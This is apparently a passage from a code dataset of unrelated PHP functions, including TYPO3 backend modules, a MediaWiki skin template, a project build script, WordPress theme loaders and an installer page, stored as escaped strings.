\"--remove-host 'webservername'......: Remove vhost for webservername\\n\";\n\techo \"--install-groupware 'webservername': Install the predefined groupware\\n\";\n\techo \"--httpd............................: Rebuild main configuration and modules\\n\";\n\techo \"--perms............................: Check files and folders permissions\\n\";\n\techo \"--failed-start.....................: Verify why Apache daemon did not want to run\\n\";\n\techo \"--resolv...........................: Verify if hostnames are in DNS\\n\";\n\techo \"--drupal...........................: Install drupal site for [servername]\\n\";\n\techo \"--drupal-infos.....................: Populate drupal informations in Artica database for [servername]\\n\";\n\techo \"--drupal-uadd......................: Create new drupal [user] for [servername]\\n\";\n\techo \"--drupal-udel......................: Delete [user] for [servername]\\n\";\n\techo \"--drupal-uact......................: Activate [user] 1/0 for [servername]\\n\";\n\techo \"--drupal-upriv.....................: set privileges [user] administrator|user|anonym for [servername]\\n\";\n\techo \"--drupal-cron......................: execute necessary cron for all drupal websites\\n\";\n\techo \"--drupal-modules...................: dump drupal modules for [servername]\\n\";\n\techo \"--drupal-modules-install...........: install pre-defined modules [servername]\\n\";\n\techo \"--drupal-schedules.................: Run artica orders on the servers\\n\";\n\techo \"--listwebs.........................: List websites currently sets\\n\";\n}", "public function main() {\r\n // Access check!\r\n // The page will show only if there is a valid page and if this page may be viewed by the user\r\n $this->pageinfo = t3lib_BEfunc::readPageAccess($this->id, $this->perms_clause);\r\n $access = is_array($this->pageinfo) ? 1 : 0;\r\n\r\n if (($this->id && $access) || ($GLOBALS['BE_USER']->user['admin'] && !$this->id)) {\r\n\r\n // Draw the header.\r\n $this->doc = t3lib_div::makeInstance('bigDoc');\r\n $this->doc->getPageRenderer()->addCssFile(t3lib_extMgm::extRelPath('medbootstraptools').'res/css/bemodul.css'); \r\n $this->doc->getPageRenderer()->addCssFile(t3lib_extMgm::extRelPath('medbootstraptools').'res/bootstrap/css/bootstrap.min.css'); \r\n $this->doc->backPath = $GLOBALS['BACK_PATH'];\r\n $this->doc->form = '<form action=\"\" method=\"post\" enctype=\"multipart/form-data\">';\r\n\r\n // JavaScript\r\n $this->doc->JScode = '\r\n <script src=\"../typo3conf/ext/medbootstraptools/res/js/jquery-1.8.3.min.js\"></script>\r\n <script src=\"../typo3conf/ext/medbootstraptools/res/js/functions.js\"></script>\r\n <script language=\"javascript\" type=\"text/javascript\">\r\n script_ended = 0;\r\n function jumpToUrl(URL) {\r\n document.location = URL;\r\n }\r\n </script>\r\n ';\r\n $this->doc->postCode = '\r\n <script language=\"javascript\" type=\"text/javascript\">\r\n script_ended = 1;\r\n if (top.fsMod) top.fsMod.recentIds[\"web\"] = 0;\r\n </script>\r\n ';\r\n\r\n $headerSection = $this->doc->getHeader('pages', $this->pageinfo, $this->pageinfo['_thePath']) . '<br />'\r\n . $GLOBALS['LANG']->sL('LLL:EXT:lang/locallang_core.xml:labels.path') . ': ' . t3lib_div::fixed_lgd_cs($this->pageinfo['_thePath'], -50);\r\n\r\n $this->content .= $this->doc->startPage($GLOBALS['LANG']->getLL('title'));\r\n //$this->content .= $this->doc->header($GLOBALS['LANG']->getLL('title'));\r\n //$this->content .= $this->doc->spacer(5);\r\n //$this->content .= $this->doc->section('', $this->doc->funcMenu($headerSection, t3lib_BEfunc::getFuncMenu($this->id, 'SET[function]', $this->MOD_SETTINGS['function'], $this->MOD_MENU['function'])));\r\n //$this->content .= $this->doc->divider(5);\r\n // Render content:\r\n $this->moduleContent();\r\n\r\n // Shortcut\r\n if ($GLOBALS['BE_USER']->mayMakeShortcut()) {\r\n $this->content .= $this->doc->spacer(20) . $this->doc->section('', $this->doc->makeShortcutIcon('id', implode(',', array_keys($this->MOD_MENU)), $this->MCONF['name']));\r\n }\r\n\r\n $this->content .= $this->doc->spacer(10);\r\n } else {\r\n // If no access or if ID == zero\r\n\r\n $this->doc = t3lib_div::makeInstance('bigDoc');\r\n $this->doc->backPath = $GLOBALS['BACK_PATH'];\r\n\r\n $this->content .= $this->doc->startPage($GLOBALS['LANG']->getLL('title'));\r\n $this->content .= $this->doc->header($GLOBALS['LANG']->getLL('title'));\r\n $this->content .= $this->doc->spacer(5);\r\n $this->content .= $this->doc->spacer(10);\r\n }\r\n }", "function createOverviewTable($htmFileName,$filelist,$langList){\n\techo \"\\n\\n=============================\\n\";\n\techo \"Creating overview table at $htmFileName\\n\";\n\techo \"=============================\\n\";\n\t$out = \"<th>&nbsp;</th><th>(original)</th>\";\n\tforeach ($langList as $key){\n\t\t$out.=\"<th>$key</th>\";\n\t}\n\t$out = \"<tr>$out</tr>\";\n\t//loop through the files\n\tforeach ($filelist as $file){\n\t\t$filenamepart=explodeFile($file);\n\t\techo \"-----------------------------\\n\";\n\t\techo \"File $file\\n\";\n\t\techo \"-----------------------------\\n\";\n\t\techo \"* Reading original at $file\\n\";\n\t\t$row =\"<th>$file</th>\";\n\t\t$row.=\"<td>\".file_get_contents($file).\"</td>\";\n\t\t//loop through the languages\n\t\tforeach ($langList as $key){\n\t\t\t$row.=\"\\n<!-- ----------------------------------------->\\n\";\n\t\t\t$langFile=$filenamepart[0].\"$key/\".$filenamepart[1];\n\t\t\techo \"* Reading language $key at $langFile\\n\";\n\t\t\t$row.=\"\\n<td>\\n\".file_get_contents($langFile).\"\\n</td>\\n\";\n\t\t}\n\t\t$out .= \"<tr>$row</tr>\";\n\t\t$row.=\"\\n\\n<!-- =========================================== -->\\n\\n\";\n\t}\n\t$out=htmlHeader(\"Overview table\").\"<table border=1>$out</table>\".htmlFooter();\n\tfile_put_contents($htmFileName,$out);\n}", "function main()\t{\n\n\t\t$content = '';\n\n\t\t$content .= '<br /><b>Change table tx_realurl_redirects:</b><br />\n\t\tRemove the field url_hash from the table tx_realurl_redirects, <br />because it\\'s not needed anymore and it\\'s replaced by the standard TCA field uid as soon as you do <br />the DB updates by the extension manager in the main view of this extension.<br /><br />ALTER TABLE tx_realurl_redirects DROP url_hash<br />ALTER TABLE tx_realurl_redirects ADD uid int(11) auto_increment PRIMARY KEY';\n\t\t\n\t\t$import = t3lib_div::_GP('update');\n\n\t\tif ($import == 'Update') {\n\t\t\t$result = $this->updateRedirectsTable();\n\t\t\t$content2 .= '<br /><br />';\n\t\t\t$content2 .= '<p>Result: '.$result.'</p>';\n\t\t\t$content2 .= '<p>Done. Please accept the update suggestions of the extension manager now!</p>';\n\t\t} else {\n\t\t\t$content2 = '</form>';\n\t\t\t$content2 .= '<form action=\"'.htmlspecialchars(t3lib_div::linkThisScript()).'\" method=\"post\">';\n\t\t\t$content2 .= '<br /><br />';\n\t\t\t$content2 .= '<input type=\"submit\" name=\"update\" value=\"Update\" />';\n\t\t\t$content2 .= '</form>';\n\t\t} \n\n\t\treturn $content.$content2;\n\t}", "function cos_build_simple($options = null) {\n\n $dir = getcwd();\n $name = basename($dir);\n\n if (file_exists(\"./build/$name\")) {\n common::execCommand(\"sudo rm -rf ./build/$name*\");\n }\n common::execCommand(\"mkdir ./build/$name\");\n\n $htdocs = \"cp -rf htdocs/* ./build/$name\";\n common::execCommand($htdocs);\n\n $domain = conf::getMainIni('domain');\n if (!$domain) {\n $domain = 'default';\n }\n\n $files_rm = \"sudo rm -rf ./build/$name/files/$domain/*\";\n common::execCommand($files_rm);\n\n $config = \"mkdir ./build/$name/config\";\n common::execCommand($config);\n\n $tmp_dir = \"mkdir ./build/$name/tmp\";\n common::execCommand($tmp_dir);\n \n $profiles = \"cp -rf profiles ./build/$name\";\n common::execCommand($profiles);\n\n $sql_scripts = \"cp -rf scripts ./build/$name\";\n common::execCommand($sql_scripts);\n\n $cli = \"cp -rf coscli.sh ./build/$name\";\n common::execCommand($cli);\n \n $composer = \"cp -rf composer.json ./build/$name\";\n common::execCommand($composer);\n\n // reset database password\n $ary = conf::getIniFileArray(\"./config/config.ini\");\n $profile = new profile();\n\n $ary = $profile->iniArrayPrepare($ary);\n\n // clean ini settings for secrets\n $ini_settings = conf::arrayToIniFile($ary);\n\n // add ini dist file\n file_put_contents(\"./build/$name/config/config.ini-dist\", $ini_settings);\n\n $index = \"cp -rf htdocs/index.php ./build/$name/index.php\";\n common::execCommand($index);\n\n $phar_cli = \"cp -rf phar-cli.php ./build/$name/\";\n common::execCommand($phar_cli);\n \n $phar_web = \"cp -rf phar-web.php ./build/$name/\";\n common::execCommand($phar_web);\n\n $module_dir = conf::pathModules();\n $modules = \"cp -rf $module_dir ./build/$name\";\n common::execCommand($modules);\n\n $vendor = \"cp -rf vendor ./build/$name\";\n common::execCommand($vendor);\n\n $rm_git = \"rm `find ./build/$name -name '.git'` -rf\";\n common::execCommand($rm_git);\n\n $rm_ignore = \"rm `find ./build/$name -name '.gitignore'` -rf\";\n common::execCommand($rm_ignore);\n\n $rm_doc = \"rm -rf ./build/vendor/doc\";\n common::execCommand($rm_doc);\n\n $output = array();\n\n exec('git tag -l', $output);\n $version = array_pop($output);\n\n $command = \"cd ./build && tar -Pczf $name-$version.tar.gz $name \";\n common::execCommand($command);\n}", "function download_suket_018_duda()\n\t{\n\t\tforce_download('assets/uploads/warga/suket_018/template_surat_pengantar_nikah_duda.docx', NULL);\n\t}", "public function main() {\n\t\t// Access check!\n\t\t// The page will show only if there is a valid page and if this page may be viewed by the user\n\t\t$this->pageinfo = t3lib_BEfunc::readPageAccess($this->id, $this->perms_clause);\n\t\t$access = is_array($this->pageinfo) ? 1 : 0;\n\t\tif (($this->id && $access) || (tx_laterpay_helper_user::isAdmin() && !$this->id)) {\n\t\t\t$this->doc->backPath = $GLOBALS['BACK_PATH'];\n\n\t\t\t// load LaterPay-specific CSS\n\t\t\t$this->doc->addStyleSheet('laterpay-backend', t3lib_extMgm::extRelPath('laterpay') . 'res/css/laterpay-backend.css');\n\t\t\t$this->doc->addStyleSheet('fonts.googleapis.com', 'http://fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,300,400,600&subset=latin,latin-ext');\n\t\t\t// load LaterPay-specific JS\n\t\t\t$this->doc->loadJavascriptLib(t3lib_extMgm::extRelPath('laterpay') . 'res/js/vendor/jquery-1.11.2.min.js');\n\t\t\t$this->doc->loadJavascriptLib(t3lib_extMgm::extRelPath('laterpay') . 'res/js/laterpay-backend.js');\n\n\t\t\t$pageContent = $this->getModuleContent();\n\n\t\t\t// Draw the header.\n\t\t\t// JavaScript\n\t\t\t$this->doc->JScode = '\n\t\t\t\t<script language=\"javascript\" type=\"text/javascript\">\n\t\t\t\t\tscript_ended = 0;\n\t\t\t\t\tfunction jumpToUrl(URL)\t{\n\t\t\t\t\t\tdocument.location = URL;\n\t\t\t\t\t}\n\t\t\t\t</script>\n\t\t\t';\n\t\t\t$this->doc->postCode = '\n\t\t\t\t<script language=\"javascript\" type=\"text/javascript\">\n\t\t\t\t\tscript_ended = 1;\n\t\t\t\t\tif (top.fsMod) top.fsMod.recentIds[\"web\"] = 0;\n\t\t\t\t</script>\n\t\t\t';\n\n\t\t\t$headerSection = $this->doc->getHeader('pages', $this->pageinfo, $this->pageinfo['_thePath']) . '<br />' .\n\t\t\t\t$GLOBALS['LANG']->sL('LLL:EXT:lang/locallang_core.xml:labels.path') .\n\t\t\t\t': ' . t3lib_div::fixed_lgd_cs($this->pageinfo['_thePath'], -50);\n\n\t\t\t$this->content .= $this->doc->startPage(tx_laterpay_helper_string::tr('title'));\n\t\t\t$this->content .= $this->doc->header(tx_laterpay_helper_string::tr('title'));\n\t\t\t$this->content .= $this->doc->spacer(5);\n\t\t\t$this->content .= $this->doc->section(\n\t\t\t\t\t'', $this->doc->funcMenu($headerSection, t3lib_BEfunc::getFuncMenu($this->id, 'SET[function]',\n\t\t\t\t\t$this->MOD_SETTINGS['function'], $this->MOD_MENU['function']))\n\t\t\t);\n\t\t\t$this->content .= $this->doc->divider(5);\n\t\t\t\t// Render content:\n\t\t\t$this->content .= $pageContent;\n\t\t\t\t// Shortcut\n\t\t\tif ($GLOBALS['BE_USER']->mayMakeShortcut()) {\n\t\t\t\t$this->content .= $this->doc->spacer(20) . $this->doc->section('', $this->doc->makeShortcutIcon('id', implode(',', array_keys($this->MOD_MENU)), $this->MCONF['name']));\n\t\t\t}\n\n\t\t\t$this->content .= $this->doc->spacer(10);\n\t\t} else {\n\t\t\t\t// If no access or if ID == zero\n\n\t\t\t$this->doc->backPath = $GLOBALS['BACK_PATH'];\n\n\t\t\t$this->content .= $this->doc->startPage(tx_laterpay_helper_string::tr('title'));\n\t\t\t$this->content .= $this->doc->header(tx_laterpay_helper_string::tr('title'));\n\t\t\t$this->content .= $this->doc->spacer(5);\n\t\t\t$this->content .= $this->doc->spacer(10);\n\t\t}\n\t}", "function hal_autoriser() {\n}", "function index()\n {\n //show our docs\n $this->template->write_view('content', 'api/doc');\n $this->template->render();\n }", "function install_site() {\n \n}", "private function require_files() {\n\n /**\n * Fixes plugins_url() for plugins located in /lib\n */\n add_filter( 'plugins_url', function( $plugins_url, $path, $plugin ) {\n if ( false !== stripos( $plugin, get_template_directory() ) ) {\n $plugins_url = get_template_directory_uri() . str_replace( WP_PLUGIN_URL . get_template_directory(), '', $plugins_url );\n }\n return $plugins_url;\n }, 10, 3 );\n\n // Include WP_oEmbed class\n require_once ABSPATH . WPINC . '/class-oembed.php';\n\n if ( defined( 'WP_CLI' ) && WP_CLI ) {\n require_once dirname( __FILE__ ) . '/inc/cli/class-cli.php';\n require_once dirname( __FILE__ ) . '/inc/cli/class-cli-clusters.php';\n }\n\n if ( is_admin() ) {\n $this->admin = Admin\\Admin::get_instance();\n $this->homepage_settings = Admin\\Homepage_Settings::get_instance();\n $this->cluster_tools = Admin\\Cluster_Tools::get_instance();\n $this->taxonomy_tools = Admin\\Taxonomy_Tools::get_instance();\n // Will be reimplemented after our move to MailChimp. See #2426\n // $this->newsletter_testing = Newsletter_Testing::get_instance();\n } else {\n $this->frontend = Frontend::get_instance();\n }\n\n $this->scripts_styles = Scripts_Styles::get_instance();\n $this->utilities = Utils::get_instance();\n $this->taxonomies = Taxonomies::get_instance();\n $this->single_option_taxonomies = Single_Option_Taxonomies::get_instance();\n $this->post_types = Types::get_instance();\n $this->user_management = User_Management::get_instance();\n $this->shortcode_manager = Shortcode_Manager::get_instance();\n $this->adverts = Adverts::get_instance();\n $this->ad_kill_switch = Admin\\Ad_Kill_Switch::get_instance();\n $this->slots = Posts\\Slots\\Slots::get_instance();\n $this->feeds = Feeds::get_instance();\n $this->featured_posts = Featured_Posts::get_instance();\n $this->icons = Icons::get_instance();\n $this->cron_management = Cron_Management::get_instance();\n $this->menus = Menus::get_instance();\n $this->menu_icons = Menu_Icons::get_instance();\n $this->component_previews = Component_Previews::get_instance();\n $this->page_cache = Page_Cache::get_instance();\n\n // Target Audience Messaging\n $this->audience = Audience::get_instance();\n $this->message_spot = Message_Spot::get_instance();\n $this->conversion_prompts = Conversion_Prompts::get_instance();\n $this->message_banner = Message_Banner::get_instance();\n\n // Metrics\n $this->metricbots = MetricBots::get_instance();\n $this->weekly_traffic_metric = Weekly_Traffic_Metric::get_instance();\n $this->newsletter_signups_by_page_metric = Newsletter_Signups_By_Page_Metric::get_instance();\n $this->yesterdays_email_metric = Yesterdays_Email_Metric::get_instance();\n\n // Emails\n $this->emails = Email::get_instance();\n $this->email_groups = Email_Groups::get_instance();\n $this->breaking_news_emails = Breaking_News_Emails::get_instance();\n $this->newsletter_emails = Newsletter_Emails::get_instance();\n $this->follow_updates = Follow_Updates::get_instance();\n $this->schedule_follow_updates = Schedule_Follow_Updates::get_instance();\n\n }", "public static function doc() { return \"\\n\" . file_get_contents(__CLASS__ . '.doc.txt'); }", "function anuncios_admin() {\n\t\tinclude('anuncios_admin.php');\n\t}", "function execute() {\n\t\tglobal $wgUser;\n\t\t$skin = $wgUser->getSkin();\n\n\t\t// Suppress warnings to prevent notices about missing indexes in $this->data\n\t\twfSuppressWarnings();\n\n?><!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.1//EN\" \"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd\">\n<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"<?php $this->text('lang') ?>\" lang=\"<?php $this->text('lang') ?>\" dir=\"<?php $this->text('dir') ?>\">\n\t<head>\n\t\t<meta http-equiv=\"Content-Type\" content=\"<?php $this->text('mimetype') ?>; charset=<?php $this->text('charset') ?>\" />\n\t\t<?php $this->html('headlinks') ?>\n\t\t<title><?php $this->text('pagetitle') ?></title>\n <link rel=\"stylesheet\" type=\"text/css\" media=\"screen, projection\" href=\"<?php $this->text('stylepath') ?>/<?php $this->text('stylename') ?>/main.css\" />\n <link rel=\"stylesheet\" type=\"text/css\" <?php if(empty($this->data['printable']) ) { ?>media=\"print\"<?php } ?> href=\"<?php $this->text('stylepath') ?>/common/commonPrint.css\" />\n <style type=\"text/css\">@media print { #head, #left, #right, #foot, .editsection { display: none; }}</style>\n\t\t<?php print Skin::makeGlobalVariablesScript( $this->data ); ?>\n\t\t<script type=\"<?php $this->text('jsmimetype') ?>\" src=\"<?php $this->text('stylepath') ?>/common/wikibits.js?<?php echo $GLOBALS['wgStyleVersion'] ?>\"></script>\n <?php if($this->data['jsvarurl']) { ?><script type=\"<?php $this->text('jsmimetype') ?>\" src=\"<?php $this->text('jsvarurl') ?>\"></script><?php\t} ?>\n <?php\tif($this->data['pagecss']) { ?><style type=\"text/css\"><?php $this->html('pagecss') ?></style><?php } ?>\n\t\t<?php if($this->data['usercss']) { ?><style type=\"text/css\"><?php $this->html('usercss') ?></style><?php } ?>\n <?php if($this->data['userjs']) { ?><script type=\"<?php $this->text('jsmimetype') ?>\" src=\"<?php $this->text('userjs') ?>\"></script><?php\t} ?>\n <?php if($this->data['userjsprev']) { ?><script type=\"<?php $this->text('jsmimetype') ?>\"><?php $this->html('userjsprev') ?></script><?php } ?>\n\t\t<?php if($this->data['trackbackhtml']) print $this->data['trackbackhtml']; ?><?php $this->html('headscripts') ?>\n </head>\n\t<body\n\t\t<?php if($this->data['body_ondblclick']) { ?>ondblclick=\"<?php $this->text('body_ondblclick') ?>\"<?php } ?>\n\t\t<?php if($this->data['body_onload']) { ?>onload=\"<?php $this->text('body_onload') ?>\"<?php } ?>\n\t\tclass=\"<?php $this->text('nsclass') ?>\"\n\t>\n <a name=\"top\" id=\"top\"></a>\n <div id=\"content\">\n <div id=\"head\">\n <?php if ($this->data['loggedin']) { ?>\n\t <h5><?php $this->msg('views') ?></h5>\n\t <ul>\n\t <?php foreach($this->data['content_actions'] as $key => $action) {\n\t ?><li id=\"ca-<?php echo htmlspecialchars($key) ?>\"\n\t <?php if($action['class']) { ?>class=\"<?php echo htmlspecialchars($action['class']) ?>\"<?php } ?>\n\t ><a href=\"<?php echo htmlspecialchars($action['href']) ?>\"><?php\n\t echo htmlspecialchars($action['text']) ?></a></li><?php\n\t } ?>\n\t </ul>\n <?php } ?>\n </div>\n <div id=\"left\" class=\"sidebar\">\n\t\t\t<?php foreach ($this->data['sidebar'] as $bar => $cont) { ?>\n\t\t\t\t<h5><?php $out = wfMsg( $bar ); if (wfEmptyMsg($bar, $out)) echo $bar; else echo $out; ?></h5>\n\t\t\t\t<ul>\n <?php foreach($cont as $key => $val) { ?>\n <li id=\"<?php echo Sanitizer::escapeId($val['id']) ?>\"><a href=\"<?php echo htmlspecialchars($val['href']) ?>\"<?php echo $skin->tooltipAndAccesskey($val['id']) ?>><?php echo htmlspecialchars($val['text']) ?></a></li>\n <?php } ?>\n\t\t\t\t</ul>\n\t\t\t<?php } ?>\n\t\t\t<?php if($this->data['loggedin']) { ?>\n\t <h5><?php $this->msg('toolbox') ?></h5>\n\t\t\t <ul>\n\t <?php if($this->data['notspecialpage']) { ?>\n\t \t<li><a href=\"<?php echo htmlspecialchars($this->data['nav_urls']['whatlinkshere']['href']) ?>\" <?php echo $skin->tooltipAndAccesskey('t-whatlinkshere') ?>><?php $this->msg('whatlinkshere') ?></a></li>\n\t <?php if( $this->data['nav_urls']['recentchangeslinked'] ) { ?><li><a href=\"<?php\techo htmlspecialchars($this->data['nav_urls']['recentchangeslinked']['href']) ?>\"<?php echo $skin->tooltipAndAccesskey('t-recentchangeslinked') ?>><?php $this->msg('recentchangeslinked') ?></a></li><?php } ?>\n\t <?php\t} ?>\n\t <?php\tif(isset($this->data['nav_urls']['trackbacklink'])) { ?><li><a href=\"<?php echo htmlspecialchars($this->data['nav_urls']['trackbacklink']['href'])\t?>\"<?php echo $skin->tooltipAndAccesskey('t-trackbacklink') ?>><?php $this->msg('trackbacklink') ?></a></li><?php } ?>\n\t <?php\tif($this->data['feeds']) { ?><li><?php foreach($this->data['feeds'] as $key => $feed) {\t?><a href=\"<?php echo htmlspecialchars($feed['href']) ?>\"<?php echo $skin->tooltipAndAccesskey('feed-'.$key) ?>><?php echo htmlspecialchars($feed['text'])?></a><?php } ?></li><?php } ?>\n\t <?php\tforeach( array('contributions', 'log', 'blockip', 'emailuser', 'upload', 'specialpages') as $special ) { ?>\n\t \t <?php\tif($this->data['nav_urls'][$special]) {\t?><li><a href=\"<?php echo htmlspecialchars($this->data['nav_urls'][$special]['href']) ?>\"<?php echo $skin->tooltipAndAccesskey('t-'.$special) ?>><?php $this->msg($special) ?></a></li><?php } ?>\n\t \t <?php\t} ?>\n\t \t <?php\tif(!empty($this->data['nav_urls']['permalink']['href'])) { ?><li><a href=\"<?php echo htmlspecialchars($this->data['nav_urls']['permalink']['href'])\t?>\"<?php echo $skin->tooltipAndAccesskey('t-permalink') ?>><?php $this->msg('permalink') ?></a></li><?php\t} elseif ($this->data['nav_urls']['permalink']['href'] === '') { ?><li><?php $this->msg('permalink') ?></li><?php\t} ?>\n\t \t <?php\twfRunHooks( 'NordlichtTemplateToolboxEnd', array( &$this ) ); ?>\n\t\t\t </ul>\n\t\t <?php } ?>\n </div>\n <div id=\"main\">\n \t\t<?php if($this->data['sitenotice']) { ?><?php $this->html('sitenotice') ?><?php } ?>\n\t\t <h1 class=\"firstHeading\"><?php $this->data['displaytitle']!=\"\"?$this->html('title'):$this->text('title') ?></h1>\n\t\t\t<h3 id=\"siteSub\"><?php $this->msg('tagline') ?></h3>\n\t\t\t<div id=\"contentSub\"><?php $this->html('subtitle') ?></div>\n\t\t\t<?php if($this->data['undelete']) { ?><div id=\"contentSub2\"><?php $this->html('undelete') ?></div><?php } ?>\n\t\t\t<?php if($this->data['newtalk'] ) { ?><div class=\"usermessage\"><?php $this->html('newtalk') ?></div><?php } ?>\n\t\t\t<!-- start content -->\n\t\t\t<?php $this->html('bodytext') ?>\n\t\t\t<?php if($this->data['catlinks']) { ?><?php $this->html('catlinks') ?><?php } ?>\n </div>\n <div id=\"right\" class=\"sidebar\">\n \t <h5><label for=\"searchInput\"><?php $this->msg('search') ?></label></h5>\n\t\t <form action=\"<?php $this->text('searchaction') ?>\" id=\"searchform\">\n\t\t \t<input id=\"searchInput\" name=\"search\" type=\"text\"<?php echo $skin->tooltipAndAccesskey('search');\tif( isset( $this->data['search'] ) ) { ?> value=\"<?php $this->text('search') ?>\"<?php } ?> />\n\t\t\t\t<input type='submit' name=\"go\" class=\"searchButton\" id=\"searchGoButton\"\tvalue=\"<?php $this->msg('searcharticle') ?>\" />&nbsp;\n\t\t\t\t<input type='submit' name=\"fulltext\" class=\"searchButton\" id=\"mw-searchButton\" value=\"<?php $this->msg('searchbutton') ?>\" />\n\t\t\t</form>\n \t\t<h5><?php $this->msg('personaltools') ?></h5>\n\t\t\t<ul>\n <?php\tforeach($this->data['personal_urls'] as $key => $item) { ?>\n\t\t\t\t<li><a href=\"<?php echo htmlspecialchars($item['href']) ?>\"<?php echo $skin->tooltipAndAccesskey('pt-'.$key) ?>><?php\techo htmlspecialchars($item['text']) ?></a></li><?php } ?>\n\t\t </ul>\n </div>\n <div id=\"foot\">\n\t\t\t<ul>\n\t\t\t <?php\t$footerlinks = array('lastmod', 'viewcount'); ?>\n\t\t\t <?php\tforeach( $footerlinks as $aLink ) {?>\n\t\t\t \t<?php\tif( isset( $this->data[$aLink] ) && $this->data[$aLink] ) { ?><li><?php $this->html($aLink) ?></li><?php } ?>\n\t\t\t <?php } ?>\n\t\t\t</ul>\n </div>\n </div>\n\t<?php $this->html('bottomscripts'); /* JS call to runBodyOnloadHook */ ?>\n <?php $this->html('reporttime') ?>\n <?php if ( $this->data['debug'] ): ?>\n <!-- Debug output:\n <?php $this->text( 'debug' ); ?>\n -->\n <?php endif; ?>\n </body>\n</html>\n<?php\n\twfRestoreWarnings();\n\t}", "public function main() {\n\t\t$content = '';\n\n\t\t$this->getExtConf();\n\n\t\tif (empty ($_REQUEST['command'])) {\n\t\t\t$_GET['command'] = '';\n\t\t}\n\t\tswitch ($_REQUEST['command']) {\n\t\t\tcase 'exclude':\n\t\t\t\t\t// set table in EXTCONF as excluded\n\t\t\t\t$this\n\t\t\t\t\t->getTableList() // check access\n\t\t\t\t\t->excludeTable();\n\t\t\t\tbreak;\n\t\t\tcase 'backup':\n\t\t\t\t\t// create table backup\n\t\t\t\t$this\n\t\t\t\t\t->getTableList() // check access\n\t\t\t\t\t->backupTable();\n\t\t\t\tbreak;\n\t\t\tcase 'convert':\n\t\t\t\t\t// convert table\n\t\t\t\t$this\n\t\t\t\t\t->getTableList() // check access\n\t\t\t\t\t->convertTable();\n\t\t\t\tbreak;\n\t\t\tcase 'update-localconf':\n\t\t\t\t\t// convert table\n\t\t\t\t$this->updateLocalconf();\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\t\t// display table list\n\t\t\t\t$this\n\t\t\t\t\t->getPaths()\n\t\t\t\t\t->loadTemplate()\n\t\t\t\t\t->includeJQuery(TRUE)\n\t\t\t\t\t->getTableList()\n\t\t\t\t\t->displayTableList();\n\t\t\t\t$content .= $this->content;\n\t\t\t\tbreak;\n\t\t}\n\n\t\treturn $content;\n\t}", "function first() {\n \n$page = <<<END\n<html>\n<head>\n<title>DK Installation</title>\n</head>\n<body>\n<b>DK Installation: Page One</b><br /><br />\n<b>NOTE:</b> Please ensure you have filled in the correct values in config.php before continuing. Installation will fail if these values are not correct. Also, the MySQL database needs to already exist. This installer script will take care of setting up its structure and content, but the database itself must already exist on your MySQL server before the installer will work.<br /><br />\nInstallation for DK is a simple two-step process: set up the database tables, then create the admin user. After that, you're done.<br /><br />\n\nClick the button below to continue. Please be aware that it may take several minutes before the next few pages fully loads. Do-not close the window until it is complete.<br /><br />\n<form action=\"install.php?page=2\" method=\"post\">\n<input type=\"submit\" name=\"complete\" value=\"Continue Setup\" /><p>If for whatever reason the installation fails or doesn't fully load, please restart the installation or manually upload the database. This is due to the large amount of data being imported.<br />\n</form>\n</body>\n</html>\nEND;\necho $page;\ndie();\n \n}", "function fsnat_create_page() {\n\trequire_once( get_template_directory() . '/inc/templates/fsnat-admin.php');\n}", "function main()\t{\n\t\tglobal $BE_USER,$LANG,$BACK_PATH,$TCA_DESCR,$TCA,$CLIENT,$TYPO3_CONF_VARS,$LANG;\n\n\t\t\t// Draw the header.\n\t\t$this->doc = t3lib_div::makeInstance('noDoc');\n\t\t$this->doc->backPath = $BACK_PATH;\n\t\t$this->doc->form = '<form action=\"index.php\" method=\"post\" name=\"llxmlform\" enctype=\"'.$GLOBALS['TYPO3_CONF_VARS']['SYS']['form_enctype'].'\">';\n\t\t$this->doc->docType = 'xhtml_trans';\n\t\t$this->doc->inDocStylesArray[] = '\n\t\t\ttable#translate-table {width:100%;}\n\t\t\ttable#translate-table TR TD, table#translate-table INPUT, table#table-merge input { font-size: '.$this->MOD_SETTINGS['fontsize'].'; }\n\t\t\ttable#table-merge, table#table-merge td {border:1px solid #000;border-spacing: 0px;border-collapse: collapse; }\n\t\t\ttable#table-merge input, table#table-merge textarea {border:0px;}\n\t\t\t.typo3-green { color: #008000; }\n\n\t\t\ttable#translate-table th, table#table-merge th {padding:4px;font-size:13px;text-align:left;}\n\t\t\ttable#translate-table td.csh_link {background-color:#ff6600;padding:2px;}\n\t\t\ttable#translate-table td.csh_link a {color:#fff;font-weight:bold;}\n\t\t\ttable#table-merge td {padding:2px;}\n\n\t\t\ttable#table-merge input:focus, table#translate-table input:focus, table#table-merge textarea:focus, table#translate-table textarea:focus {background-color:#FFFFDF;border:1px solid #009900;padding:3px;}\n\n\t\t\th3.uppercase {background-color:#BC3939;color:#fff;padding:2px 0 2px 5px}\n\t\t\th4#merge {background-color:#59718F;color:#fff;padding:2px;clear:both;}\n\n\t\t\tp.collapse {background-color:#8490A0;margin:0.5em 0;padding:0.2em;clear:both;}\n\t\t\tp.warning {background-color:#FF6600;color:#fff;padding:2px;font-weight:bold;}\n\t\t\tp.collapse span.switch {display:block; color:#fff; font-weight:bold;cursor:pointer;}\n\t\t\tp.collapse .typo3-csh-link {float:left;}\n\n\t\t\tdiv.typo3-noDoc {width:98%;}\n\t\t\tdiv#nightly {margin-bottom:80px;}\n\n\t\t\tdiv.langbox {display:block;width:200px;float:left;}\n\n\t\t\tdiv.save_button {float:right;margin-bottom:5px;}\n\t\t\ttable#translate-table {margin-bottom:5px;}\n\t\t\tselect {font-family:monospace;font-size:'.$this->MOD_SETTINGS['fontsize'].'}\n\t\t';\n\n\t\t// FORCING charset to utf-8 (since all locallang-XML files are in UTF-8!)\n\t\t$GLOBALS['LANG']->charSet = 'utf-8';\n\n\t\t\t// JavaScript\n\t\t$this->doc->JScode = $this->doc->wrapScriptTags('\n\t\t\t\tscript_ended = 0;\n\t\t\t\tfunction jumpToUrl(URL)\t{\n\t\t\t\t\tdocument.location = URL;\n\t\t\t\t}\n\n\t\t\t\tfunction switchMenu(obj) {\n\t\t\t\t\tvar el = document.getElementById(obj);\n\t\t\t\t\tif ( el.style.display != \"none\" ) {\n\t\t\t\t\t\tel.style.display = \"none\";\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\tel.style.display = 